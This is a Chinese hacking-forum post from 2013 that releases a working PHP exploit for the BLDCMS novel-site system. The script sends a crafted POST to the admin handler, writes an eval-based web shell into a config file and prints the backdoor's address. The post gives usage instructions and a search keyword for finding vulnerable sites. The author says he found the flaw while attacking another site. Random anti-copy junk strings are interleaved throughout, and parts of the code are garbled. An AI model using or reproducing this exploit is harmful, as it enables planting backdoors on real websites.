中国网络渗透测试联盟
标题:
BLDCMS(白老大小说) Getshell 0day EXP
[打印本页]
作者:
admin
时间:
2013-3-26 20:49
标题:
BLDCMS(白老大小说) Getshell 0day EXP
之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
6 Q9 O3 p) r3 z
, _, S: d! i8 H+ Q6 J4 L
2 d. c- r# X6 `! N; r2 i
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
. Y# R" Q7 H* u5 H
* Q, z8 E) r* W0 D8 p- v
既然都有人发了 我就把我之前写好的EXP放出来吧
: [, t% S; S6 C. n
1 }) d6 Q8 l' o- R6 n
view source print?01.php;">
3 b8 G+ O$ k$ M. W* y/ G6 X$ t
02.<!--?php
5 m$ ]- _; i1 Z
03.echo "-------------------------------------------------------------------
% A6 E7 W* P; M& x) a
04.
* j( p1 q0 q' o: {7 O
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
3 y9 t& G$ u* k& z* o
06.
8 c2 g2 y7 s; n
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
, H) n7 O, ]- o. v& _
08.
7 W/ u% }/ x K/ v
09.QQ:981009941\r\n 2013.3.21\r\n
; n$ r3 z( E/ c, s& k
10.
5 h( P/ o( ]: x. K4 j
11.
6 S* L+ _' c/ v4 H
12.用法:php.exe EXP.php
www.baidu.com
/cms/ pass(一句话密码
8 r1 n/ o" L- D' h/ h, i
13.
: R- y+ {7 q; d, x. P
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
+ O, U( [5 \, a5 c2 `6 g' j
15.
+ g9 X3 z3 Z. [- W N' v
16.--------------------------------------------------------------------\r\n";
) x8 g$ B/ c# [# I
17.$url=$argv[1];
; r: ?( k+ t. O; o" }8 C- A+ W
18.$dir=$argv[2];
- y0 @' z4 P' w' {
19.$pass=$argv[3];
( ~0 n" M4 k# G+ V/ K6 E r
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
9 x5 b8 e* R) ]4 z* N3 \/ u
21.if (emptyempty($pass)||emptyempty($url))
; _5 k% h9 d6 L! ~2 B
22.{exit("请输入参数");}
. E) m: p, P# F& k; }
23.else
2 X; n. [8 D: W# Y6 A5 U* s/ G
24.{
3 z% z0 Z. I; m( H7 T
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
! m9 U' t* l) d; p! h' a8 v/ y
26.
# `8 n' M$ t+ ~4 e* Q2 r6 t
27.al;
+ k0 D9 E O5 J0 ~/ i4 b
28.$length = strlen($fuckdata);
5 _' m R5 Z+ F8 o* N% Y
29.function getshell($url,$pass)
8 Y7 v. X; T# \# a' q- u; C
30.{
. ]# b9 S1 W$ `8 h
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
: N, ^0 \. c/ S
32.$header = "
OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
6 O& x& O/ V: F' z/ b, s N% Z
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
- Z8 b& f) g; j: Z
34.$header .= "User-Agent: MSIE\r\n";
1 d8 ~' M8 x: j
35.$header .= "Host:".$url."\r\n";
) W$ ?7 F0 Z4 E! a' L
36.$header .= "Content-Length: ".$length."\r\n";
" k/ j- m6 z; c3 L' A% B
37.$header .= "Connection: Close\r\n";
# v% P! K* {' X T& P
38.$header .="\r\n";
8 [* {5 Z ^! |4 S( F
39.$header .= $fuckdata."\r\n\r\n";
" p- Y* e) P; |6 `4 a! B7 f# [0 ^
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
2 j+ b/ H$ k' m# |: X: ?
41.if (!$fp)
Y+ l% O6 W9 m5 N! t& R
42.{
2 @) f% O4 Q" y* K. _2 F; z
43.exit ("利用失败:请检查指定目标是否能正常打开");
u& S$ ~+ ]8 C5 W) S4 F# }" O( b; z
44.}
" K4 t" [5 d. h, T$ n
45.else{ if (!fputs($fp,$header))
1 C; S* {! M- y' ~3 c& e! F4 ~" Y
46.{exit ("利用失败");}
. f0 J( H3 K. j; {& b8 H9 d j% s
47.else
* [; {: w7 p0 U& h; I: g1 a: q
48.{
5 m, T2 J) S/ K1 ~+ P3 z9 `4 R6 D
49.$receive = '';
0 [+ R( M. R1 h; E) g
50.while (!feof($fp)) {
0 Y& P6 R% s/ N0 i* v
51.$receive .= @fgets($fp, 1000);
$ V1 R4 N I. d- X, a: N
52.}
9 i( h: W+ e! i6 v9 d8 R
53.@fclose($fp);
+ ~9 J1 e G6 G: C$ w/ T2 C
54.echo "$url/$dir/conn/config/normal2.php pass
pass(如连接失败 请检查目标
% D6 }1 E# _0 @% w0 y
55.
# S1 s- C% Y* o, D' U# |+ d; O
56.GPC是否=off)";
4 r* u( N" d) A! e+ B
57.}}
* h4 F( t1 d. T7 k) ]! b7 w6 J
58.}
$ `3 c7 Y ? M+ c( C0 s
59.}
& q. h5 i+ s. A1 O5 d
60.getshell($url,$pass);
. N9 N& X# O! k7 U
61.?-->
. q& K- S9 T9 f7 I; Z3 G; v
+ k7 a" o0 w7 z) n. U6 ?, ?1 g
* L" `. @# v' H( i: p
& d/ V8 Y1 Q# s( P u: V
by 数据流
! _8 k# g# q- t/ Q# o O. S- @# I
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2
OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
pass(如连接失败 请检查目标